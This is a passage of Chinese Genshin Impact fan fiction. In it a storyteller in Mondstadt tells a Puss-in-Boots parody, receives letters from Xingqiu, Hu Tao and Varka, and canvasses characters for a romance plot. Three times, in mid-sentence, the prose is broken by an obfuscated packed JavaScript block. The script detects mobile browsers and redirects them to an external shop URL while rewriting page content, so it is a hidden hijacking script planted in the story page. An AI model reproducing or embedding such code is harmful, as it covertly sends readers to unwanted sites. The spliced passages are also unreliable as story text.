小王子舔爪子的动作停下了:“喵喵喵![猫肉不好吃不值钱的。]” 迪奥娜也掐腰大怒:“猫猫那么可爱,怎么可以吃猫猫!” “后面肯定还有反转吧。”凯亚出言安慰迪奥娜,可惜收效甚微。 迪奥娜冷哼一声:“那这个也是坏主人!” 编造出这个坏主人的莫言,对大家的言论充耳不闻,继续向下讲述着: “主人话音未落,那只猫忽然开了口:我的爷,您别急着要我的皮。给我一顶帽子吧,保您吃香喝辣,顿顿有肉。” 罗莎莉亚在章中转着不知道从哪里掏出来的匕首,表情格外无所谓:“会说话的猫啊,本来就可以去杂戏团赚钱吧。” “把它卖了,主人不就有钱了吗?” 莫言遗憾摇头:“可惜,老三没有罗莎莉亚小姐这样好的念头。听见猫儿开口,他惊得下巴差点没掉下来,心说反正也没别的指望,死马当活马医吧。” “他卖了靴子,卖了袜子,卖了外套,东拼西凑弄了顶小帽子。猫往四条腿上一蹬,嘿,还真精神!” 窗户外的温迪点点头:“是个优雅的绅士呢。” 窗户内的莫言依旧在讲述着:“这只神气的猫儿啊,带着自己的小帽子,便在树林里游荡。” “野外的猫儿看到它,纷纷围上前来:它看起来好高傲,莫非是什么贵族?猫儿追随在它的身后,跟着他来到了某处——” 莫言环视四周,重重吐出二字:“酒,馆。” 迪奥娜眼睛发亮:“然后呢然后呢。” “酒馆的老板大为惊奇,戴帽子的猫儿却躬身施礼,那叫一个懂规矩:先生,我家主人玛格丽特小姐,特意命小人献上肥猫一群,孝敬您老人家。” 说完,她自己先愣住了:“等等,猫尾酒馆的老板是玛格丽特——小姐,三儿子是儿子,性别好像不太对?” “我家主人迪奥娜小姐……额,也不对也不对……恕筠先生如何?” 恕筠举起小王子的爪子:“喵。[恕筠只是个下人,不是猫尾酒馆的主人。]” 温迪靠在窗户上,转着自己的小辫子:“小王子先生如何?” “这个好!”莫言双眼一亮,她一把拽过自己的惊堂木,“啪”的一下后,捏着嗓子继续讲述:“先生,我家主人小王子先生,特意命小人献上肥猫一群,孝敬您老人家。” “酒馆主人捋着胡子,笑眯眯地收下了。从此之后,酒馆就变成了猫尾酒馆,随着猫儿的到来,酒馆的生意也越来越好。酒馆主人心里头就记住了——小王子先生,真是个大好人啊。” “可小儿子并没有赚到钱呀。”迪奥娜面上有几分不解,“就目前来看,只有酒馆的主人赚到了钱。” 莫言却故作高深地摇了摇惊桃木:“请不要着急,在继续讲述之前,我有一个问题——晨曦酒庄,有少爷或者小姐吗?” 凯亚看着温迪。温迪看着凯亚。罗莎莉亚看着凯亚。迪奥娜看着凯亚。小王子看着凯亚。恕筠看着凯亚。 莫言看着凯亚:“哇哦。” 凯亚以手扶额:“总觉得,会有什么不太妙的事情发生……” “这群肥猫呀,虽然在猫尾酒馆骗吃骗喝,可这一天,他们告诉戴帽子的猫一个重要情报——酒馆主人要带女儿沿河巡游。” 莫言眼睛一闭,心一横:“这位小姐在城中颇有名声,她一头深蓝色的长……短发,皮肤像珍珠一样白皙……像黑珍珠一样有光泽,是个不可多得的美人呢。” “猫儿心里一亮,跑到主人跟前说:您要听我的,今儿个下河洗澡准没错。老三稀里糊涂下了水,猫抱起岸上的破衣裳就跑,跑得比兔子还快。” 迪奥娜嚯的一下站了起来:“啊?为什么呢?猫猫为什么要这样做?” “喂喂喂,重点应该在我这里吧。”凯亚重重地叹了一口气,“自珐尔嘉小姐后,又多了美丽绝伦的凯娅小姐吗?” “我可没有这么说哦。”莫言眨眨眼,表情格外无辜,“来来来,继续继续。” “发现衣服不见,三儿子大吃一惊,正巧酒馆主人的马车经过,猫扯着嗓子就嚎:救命啊!小王子先生在河里洗澡,衣裳叫人偷了!” “酒馆主人一听,这还了得!赶紧命人找出最好的袍子给小王子先生穿上。您还别说,老三生得本来就体面,这一打扮,活脱脱一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391744|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵公子。凯娅……咳咳咳,酒馆小姐隔着车窗偷偷瞧了一眼,脸就红了。” “哦,我算是听懂了。”罗莎莉亚点了点头,“凯亚爱上了小王子,然后带着猫尾酒馆当做嫁妆,嫁了过去。” “是不是有些无聊?”莫言挠挠头,看起来有些沮丧,“这个故事确实有些老套,对不起,我的脑洞确实不大……” “没有没有,我很喜欢这个故事的!”迪奥娜上前,一把抱住了小王子,带着它在屋里转圈圈,“我们漂亮的小王子,让人对它一见钟情,多正常了!” 有新的酒鬼到来,给迪奥娜递上了酒单。她哼着歌,快乐又愤怒地去调酒了。 罗莎莉亚摇晃着手中的酒杯,才抿下了第一口:“总感觉这个故事还没有讲完……莫言小姐,继续?” “后半段已经没有必要了。”莫言坐回椅子上,右手支起脑袋,“给所有人都带来了快乐,这个故事已经完成了它的任务,不是吗?” 57、 一封包装华丽、用词严谨、字迹潦草的信,来自行秋。 好友莫言: 见信如面。 重云不知云游到了何处,待他归来,我必将信件物归原主;香菱已尝试出新品,味道颇为奇妙,若你回到璃月,我们可以共同品味。 至于照片之事,枫丹人有云,照相会照出人之灵魂,照片不可随意损毁。可惜,我本想依你所托烧毁所有照片,可为了不触犯禁忌,不得不将其妥善保管,令人扼腕叹息。 可惜啊,可惜。 好友 行秋 58、 一份带着香灰气息的信,来自胡桃。 给莫言: 自打你离开后,没人陪我胡天说地,我真的好不习惯。 不过你走了也好,看了你的新稿,客卿可谓是大为震惊,连连惊叹:“这孩子的脑洞,未免有些太大了。”还指出了好多历史方面的问题,幸好你不在,不然,你又该哭唧唧地来上历史课了。 但是我觉得,你的稿子写的非常好!特别是珐尔嘉小姐外出巡查,替一位富家小姐击败来犯的盗宝团,赢得了小姐的芳心。“我本是女娇娥,怎可,怎可接受你的爱意!”哈哈哈,有趣,有趣。 很期待你的第三章。 胡桃 59、 一封由凯亚转交的奇怪的信。 致蒙德城的说书人莫言: 听说你最近在讲我的故事?我远征在外,人不在蒙德,故事里竟还能在蒙德城当一回主角,有趣,有趣。 听说你故事讲的特别好,连琴都忍不住去听了?很好,继续说下去!不过可别把我吹得太神,什么“一剑劈开风龙”之类的,不过要真的这么写了,我也不会拒绝的。 你尽管讲,等我回城,请你喝一杯蒲公英酒。 又,可以给我一份说书稿吗?拜托了,我真的很好奇珐尔嘉小姐的冒险故事。 又又,记得多收几个摩拉,这么有趣的故事,可别亏钱了。 又又又,请一定要给我配一个英俊潇洒的男主角!要帅气、强大、勇武的!只有这样的男人,才配得上珐尔嘉小姐。 西风骑士团大团长 法尔伽 12.仅限今日的白鸽 60、 拿着信封,莫言双手都在颤抖。她抬头看看笑眯眯的凯亚,又低头看看手中署名为“法尔伽”的信。 抬头又低头,低头又抬头。 她喃喃道:“法尔伽,是活人啊?” “喂喂,虽然大团长远征在外,但他确实……”凯亚说到一半,忍不住伸手捂住脸,“确实是我们的现任团长。” 罗莎莉亚攥着手里的匕首,表情淡淡的:“西风骑士团这种组织,也不会让一个死人来担任领袖吧。” “不是不是,”莫言连连摆手,“我没有说法尔伽大团长是死人,只是,只是,好像没把他当成活人……” 凯亚若有所思地点点头:“因为大团长不在蒙德,所以对他没有什么实感吗?” “好像是哦。”莫言趴在了桌子上,“怎么办怎么办,我写他的二创小说被正主抓到了,怎么办怎么办!” “继续写,怎么样?”凯亚摸了摸下巴,露出了惯常的微笑,“然后把后几章的稿子寄过去,让正主鉴定一下性格有没有ooc,如何? ” 莫言露出了死鱼眼:“真的可以吗?” 她低下头看了看信封,狠狠地呼出一口气:“法尔伽大团长是蒙德城的大英雄,是我十分尊敬的人!” 凯亚和罗莎莉亚:“啊?” “所以,我一定会完成法尔伽先生的指示的!”莫言一拍桌子站了起来,表情格外坚毅,背后似乎有熊熊的火焰在燃烧,“我会为法尔伽先生,找出那个能配得上珐尔嘉小姐的骑士的!” “那,你努力?”凯亚表情极为僵硬。他一口喝完杯中酒,站起身准备开溜:“哈哈哈,我好像应该上班了,哈哈哈,二位再见。” 一边说着,他一边往门口瞬移。“见”字话音未落,那个蓝色的身影已经完全消失无踪。 罗莎莉亚又抿了一口酒:“不拦着他吗?” “不。”莫言表情冷漠地收拾着自己的物品。将本子放进怀中后,她看了一眼西风骑士团的方向,露出了一个冷笑:“凯亚,配不上珐尔嘉小姐。” “优雅高贵而强大的珐尔嘉小姐可不是凯亚能挑挑拣拣的存在!珐尔嘉小姐应该自由的在西风骑士团里挑挑拣拣!” “至于凯亚,呵,他竟然拒绝了成为珐尔嘉小姐的另一半,既然如此,那他只能当成男配角,成为珐尔嘉小姐备胎里的一员了。” 莫言双手握拳:“我会为我尊敬的法尔伽大团长,找到能与他相配的另一半的。” 罗莎莉亚看着围中残留的美酒,沉默片刻后,一饮而尽:“……你加油。” “好嘞!” 61、 满心热血、兴致勃勃要为珐尔嘉小姐选夫的莫言,刚推开猫尾酒馆的大门,就被温迪拦了下来。 站在莫言三米开外的地方,温迪表情却是格外的严肃:“莫言,我们可以谈谈吗?” 被他周身的气氛带动,莫言眨眨眼,也慢慢冷静了下来:“可以。” “谈事情可以,借钱不行。我身上只有三百摩拉了,假如你非常缺钱……好吧,我可以借给你二百五。” “倒也不是这件事。”温迪叹了一口气,微微转过身,抬起头望向蒙德城正中的风神像, “想去那里坐坐吗?” 莫言瞪大了眼睛。她抬眼看了看高耸入云的风神像,又看了看温迪那不是很高的身高,没有纠结太久,果断拒绝:“不要。” “像这种标志性建筑,肯定会拒绝攀爬的吧?”她思考着,“说不定还会钓鱼执法,不明确说明不允许攀爬,但是如果你爬上去,就会收你的罚款!” “我身上只有二百五,可交不起这个钱!” “我来帮你交罚款,如何?”温迪轻轻地笑了笑,“要来吗?” 莫言眼睛一亮:“好啊。要是你能交罚款并且带我上去,我就和你一起去。” “好啊。” 62、 温迪和莫言在阳台上坐下,准备谈心。 莫言看着距离自己两米远、坐在另一个阳台的温迪,忍不住又叹了一口气:“你这个不着调的吟游诗人,就爱说大话。” 温迪表情格外无辜:“可我也没有想到,你借助这风场,竟然也爬不上风神像。” “我,我那是头脑过于发达,才导致了四肢简单的!”莫言有些气虚,看着温迪那似有非无的微笑,忍不住小声嘟囔,“这家伙,肯定是在嘲笑我吧?” 莫言声音小小的,温迪不应该听得见。可绿色的少年偏偏偏过头,嘴角微微上扬了几分:“嗯?” 莫名感觉自己有些无理,莫言连忙仰起头,大声说:“你不是要找我谈谈吗?谈什么,我们快开始吧!” 63、 “我想知道,你为什么会说那句话呢?”温迪坐在阳台的栏杆上,望着远处的飞鸟,语气又轻又沉,“‘话说天下大势,分久必合,合久必分。’这句话,是你从哪里听来的呢?” 莫言盘着腿坐在阳台上,双手抓着栏杆的铁丝,莫名的感觉眼前此景有些眼熟。挠挠头,她先回答了温迪的问题:“是梦。” “在梦中,有人说了这句话。” “哦?”温迪转过头看着莫言,脸上不再有惯常的那些表情,看起来,与往生堂的那位钟离客卿有几分相像。 “在你梦里,还有些什么呢?” 注视着眼前被栏杆分割开的景色,莫言随口说出自己的梦境:“比如,初代火神希巴拉克与龙王奥奇坎的爱恨情仇;比如,岩王爷如何假死,又如何无可奈何的封印了若陀龙王;再比如……” 莫言闭上眼,模仿着温迪的咏叹调:“鸽子衔枝之年,天上永恒的王座……哎呦!什么砸我!” 下意识抬手一摸后,莫言看着手中的鸟屎,无比的沉默:“……我说的是鸽子衔枝,不是鸽子衔屎,你们来捣什么乱啊!” 温迪默默扔过来一卷纸巾:“擦擦吧。” 狼狈地擦着自己的头发,莫言忍不住对头上伸了个中指:“刚刚还在老远的地方,怎么不大一会就飞到了我头顶,还随地大小便!” 看着眼前被栏杆切开的景色,她冷哼一声:“应该被铁丝关起来的是你们!随地大小便者,就应该去唱铁窗泪!” “不讲文明的人!不讲文明的鸟!” 温迪摸了摸鼻子,不知为何,看起来似乎有些愧疚:“这些故事太远了,蒙德城更喜欢风能吹到的故事。” 擦头发的手顿了下来,莫言抬起头,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393028|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这位蒙德城最好的吟游诗人:“风能吹到的故事?那是什么样的故事呢?” 温迪稍微沉默了一会,从不知道哪里取出了自己的木琴,拨弦轻笑: “蒙德人最爱听什么? 是风龙废墟里,旧日的战火; 是温妮莎挣脱锁链的那一刻, 是高塔孤王的风墙,因何而破。 雄伟的英雄史诗啊,真实存在过的历史啊, 每一页都蘸着烈风与诗歌。 来,坐下,满上这杯苹果酿, 听我讲一段,来自过去却不过气的传说。” 64、 “好吧,原来蒙德人喜欢与蒙德历史有关的故事啊。” “嗯嗯。” “怪不得珐尔嘉小姐的故事如此受欢迎,原来是因为,珐尔嘉小姐是真实存在在蒙德的呀。” “嗯嗯?” “我懂了,要想讲出蒙德人喜欢的故事,必须和真实的蒙德历史结合起来。那些架空的故事,比如什么天下大势分久必合啦、什么原初的大王啦,都不是真实的故事,不会特别吸引人。” “嗯嗯。” “所以!我应该在蒙德历史中加以幻想!就像珐尔嘉小姐、芭芭托丝女神一样,在历史中加以创新,创作出蒙德人喜闻乐见的故事?” “嗯嗯?” “比如说……巴巴托斯与风魔龙不可不说的二三事?巴巴托斯成为风神已经千余年了,可祂依旧忘不掉,风魔龙那双忧郁的眼……嗯嗯嗯,就是这样?” “呃,是这样吗?” “就是这样!再比如,奥奇坎站在纳塔的人群中,庄严宣誓:留给我们的只有一条路,那就是希巴拉克的道路!” “似乎,也,还好?” “再比如,法尔伽……呃,算了随便找个死去的英雄吧,这位英雄的爱人抱着他,看着英雄咽下最后一口气,留下了眼泪:凭什么!凭什么深渊能够卷土重来!他这样的人却不得不死去!我要投身深渊,反抗风神,换他回来!” “……这个不好吧?不是真实历史……” “哎呀到时候随便找有风流传说的英雄就可以了,野史这回事,我可擅长了!” “还有还有!璃月已经没有野生的琉璃百合了,这是因为某位仙人逝去了,而她的‘挚友’,会看着人工养殖的琉璃百合落泪……嗯,百合嘛。” “还有还有!我们伟大的岩王帝君,其实是个老妈子!仙人们要去危险的地方,祂都会偷偷跟随,暗中保护下属的安全!” “还有还有!哎呀,果然还是璃月的野史编起来顺口。果然,我需要了解一下蒙德的传说了。填补蒙德野史空白,从我莫言做起!” “温迪?你怎么了?为什么你的表情看起来这么痛苦?” “……啊哈哈哈,没什么。下次你要讲故事,可以请我来做第一个听众吗?” “哼哼,看在你帮助我这么多的份上,我就勉强允许啦!” 65、 夹在碎风中的呢喃—— “唉,看起来,我要多费一点心了。” “老爷子啊老爷子,我真的非常努力了啊。您这位甩手掌柜,可别因为那些璃月故事而生气呀。” 13.珐尔嘉小姐寻夫记 66、 告别不知为何格外深沉的温迪,莫言哼着不成曲调的歌,踏上了为珐尔嘉小姐寻夫的冒险。 她抱着笔记,推开紧闭的门:“打扰一下,请问你认为珐尔嘉小姐会喜欢怎样的男人呢?” 67、 “你问珐尔嘉小姐会喜欢的人?”凯亚坐在天使的馈赠内,苦笑一声,“就算你这样问,我也必须再次强调,我真的不行。” “不提法尔伽是我十分尊敬的前辈,就从名声上来说,我也无法与声名赫赫的北风骑士相提并论。” 他伸出手指指着自己:“拜托,我只是一位没有马的骑兵队长,这种重任,还是拜托其他人吧。” 莫言哼哼一笑:“知道凯亚先生配不上珐尔嘉小姐,所以我只想问,蒙德城有什么很出名的男士吗?” “呃,法尔伽?”凯亚下意识回答。 莫言若有所思地点点头:“所以,你喜欢水仙吗……有点意思。” “等等,我不是这个意思啊!” “这个思路好像也不错……等等,莫言,你要是讲出去,可千万别说是我说的!” “拜托,拜托!” 68、 “珐尔嘉小姐会喜欢怎样的人……”很难得,迪卢克没有窝在酒台前擦玻璃杯,而是在天使的馈赠二楼某个小桌子旁坐着,看着楼下的人声喧闹。 “若是大团长法尔伽,他会欣赏豪爽的、英武的正义之人。若是珐尔嘉小姐,大概应该再加上一句,身强体壮?” 莫言若有所思地点点头:“所以你认为,珐尔嘉团长喜欢壮汉。”她沉思片刻,脑海中冒出了一个人名。 “瓦格纳!”莫言一拍桌子站了起来,“铁匠铺的瓦格纳如何?他很强壮的!” “珐尔嘉小姐力大无穷,用坏了无数柄剑,却无意于铁匠铺的瓦格纳先生结缘,产生了又一段奇妙的冒险……” 楼下似乎有酒鬼喝多了,正踩在桌子上大声喧哗,迪卢克也站起身,活动着着手腕上前制止,只给莫言留了一句话。 “瓦格纳先生,或许不会喜欢这个故事。” 69、 “我对法尔伽大团长评价如何?”即使莫言站在铁匠铺前,瓦格纳也没有放下手中的工作。他高高举起铁锤,用力砸下:“令人尊敬的大团长,酒量惊人。” “没,没了吗?”莫言抱着本子,悄悄地往后挪了半步。 “有。”瓦格纳抬起眼,再次高高举起铁锤,“这里有火炉,请站远一点。” “好,好的!” 70、 “所以你目前收集了两种思路,一种是珐尔嘉小姐和法尔伽大团长水仙,一种是和瓦格纳先生,呃,配对,是吗?” 闲聊着,莫娜同时在翻阅着手里的账单,表情也越来越阴沉:“你觉得瓦格纳先生太凶了,不好意思和他提要求,是吗?” “是的是的,求求你了,最最善良的莫娜,最最伟大的占星术士莫娜,你有什么好建议吗?” 握着账单的手在颤抖,莫娜一个没有控制住,便捏坏了账单的一角:“我的建议是——找个有钱人。” “啊?” “珐尔嘉小姐不是力大无穷容易弄坏武器吗?那自然需要有人帮助,为珐尔嘉小姐进行赔偿啊!”越说思路越顺,莫娜忍不住将手里的账单揉成一团,“英俊而美丽的珐尔嘉小姐,怎么能因为钱财而伤心呢!” “哦哦哦!”莫言疯狂点头,“你想要娶到珐尔嘉小姐,这个人必须很有钱!比如……比如,像老歌德那样!” “等等等等。”莫娜小心翼翼地展开自己的账单,有些怀疑是自己的耳朵出了问题。“虽然大团长确实年纪不小了,但这个,年纪有些太大了吧?老歌德孩子都快结婚了。” 莫言颇感遗憾:“好吧。话说,西风教会一定很有钱吧?” “你在遗憾些什么啊!不对,等等,你又想到了谁?” “听说西风教会的主教年纪不小,说不定,正好配得上珐尔嘉小姐呢?” 71、 “西、西蒙主教有没有成婚?”芭芭拉瞪大了双眼,情不自禁地用双手捂住嘴,“没,没有,是有什么事情吗?” 莫言表情深沉:“我想,给主教大人找一位伴侣。” “什么!”芭芭拉惊呼出声,“不行!这个不行!” “唉?为什么?”身为出色的说书人,莫言敏感地意识到有些不对劲,她立刻掏出笔和本,准备记录—— “等等,我可以说给你,但你不能讲出去。”芭芭拉叹了一口气,“嗯,西蒙主教,他……他是我的……嗯……” “西蒙主教是芭芭拉的父亲。”一般路过的罗莎莉亚,帮主无比纠结的芭芭拉说出了理由。 “对不起对不起对不起对不起!”莫言把本子往怀里一塞,熟练的双手合十,鞠躬道歉,“我没有其他意思,只是想给故事里的珐尔嘉小姐找一个爱人!既然主教是您的父亲,那我就不打扰了!” “请您放心!我!绝对不会让珐尔嘉小姐破坏您家庭的和谐的!” “打扰了!” 72、 “所以,现在是问到我了吗?”罗莎莉亚走在前往猫尾酒馆的路上,表情依然是冷冷的,“我倒觉得,巴斯托丝不错。” “法尔伽是蒙德城的西北风骑士,巴斯托斯是他的上司,是蒙德城的风神。这位,绝对配得上珐尔嘉小姐了吧?” “是巴巴托斯啦,罗莎莉亚真的很不像修女呢。”罗莎莉亚身高修长,步伐悠闲,可莫言走三步便需小跑两步,才能勉强追上她的脚步。“可,可恶!绝对不能给珐尔嘉小姐配个小矮子!” “哦?”罗莎莉亚突然停下脚步,她伸出一只手,点在了差点撞上她的莫言的额头,“那巴巴托斯就很行了。” 她朝神像努努嘴:“巴巴托斯那么大,绝对配得上珐尔嘉小姐,对吧?” “等等,风神真身原来这么大吗?这也太大了吧?” “算了先记上吧,大不了后面加个私设,神明可以变小——小到温迪那样!” “可我又很想讲芭芭托丝女神……可恶,只能二选一了吗?” 73、 “在蒙德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397241|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城,谁配得上珐尔嘉小姐吗?”迪奥娜叉着腰,表情有些气愤:“没有!那些臭男人!他们都是一群烂酒鬼!没有一个人值得珐尔嘉小姐去爱!” 莫言若有所思地点点头:“臭男人,男人都不行……原来迪奥娜喜欢百合啊。” “什,什么?”迪奥娜瞪大了那双小猫眼,“等等,我不是这个意思!” “太妙了迪奥娜!”莫言情不自禁伸出手,尝试将迪奥娜举起来,“你真的是天才!” “等等!干嘛突然抱我!” 举起失败,莫言一把抱住了迪奥娜:“我真的太感谢你了,你帮我解决了一个大麻烦!” 迪奥娜满头问号,却依然点了点头:“看在戴帽子的小王子的份上,虽然不知道发生了什么,但是能帮到你就好。” “帮大忙了!” 74、 忙碌了一天的莫言师傅在猎鹿人坐下,开始整理这一天的收获: “目前的两个人选好难抉择啊。一个是珐尔嘉与法尔伽大团长,你有着与我相似的经历,与我相似的性格,与我相似的面貌。你知道我的任何思绪,你能接下我的每一剑,能陪我喝酒,从月刚上树梢头,到阳光洒满大地。” “我看着你,你看着我,如同顾影自怜的水仙花,我们是如此的相似。” “一个是芭芭托丝女神。我努力地掩盖着自己的身份,却无意掀起了你的裙角。你是我的神明,我是你的眷属,我们却因为不同的原因,共同脱下了裙衫。” “我对你是爱吗?是敬吗?我不知道。我只知道,我想请那个最重要的你,喝一杯蒲公英酒。可以吗?” 莫言咬着笔杆,用着夸张到泛酸的语言,在纸上描描写写。温迪却突然从她背后冒了出来:“是新的故事吗?不知我是否有荣幸,成为故事的第一个听众呢?” “稍等。这两个故事线,如果二选其一,其实有些无聊。”莫言在纸上大手一挥,画了三个火柴人,“把这两个故事融为一体,如何?” “在西风骑士团里,珐尔嘉小姐遇到了实习骑士法尔伽。他很有潜力,年纪轻轻便颇得大团长的信任。可惜,他遇到了珐尔嘉小姐。” “作为前辈,珐尔嘉小姐实力更强,从法尔伽手中夺得了大团长之位。可法尔伽却不遗憾,他只是看着珐尔嘉,露出了羞涩的笑。” 温迪质疑:“好像有点ooc?” “不要在意这些细节!如果真的在意现实,按照法尔伽大团长的人生经历,珐尔嘉小姐这辈子都嫁不出去的!” “……您继续。” “可接受大团长之位后,珐尔嘉见到了那个祂——芭芭托丝女神。那是一个清晨,珐尔嘉来到西风教会,尝试让教会分担一些武器的损耗费用,却无意间撞入一双温柔的瞳。” “她,见到了祂。” “一个信徒,见到了她的神明。珐尔嘉热烈地表达着激情,表达着自己对神明的敬仰,可在她身后,是另一双崇拜的眼睛。” “法尔伽崇拜着珐尔嘉,珐尔嘉崇拜着芭芭托丝,这场三人的故事,什么时候能够落幕呢?”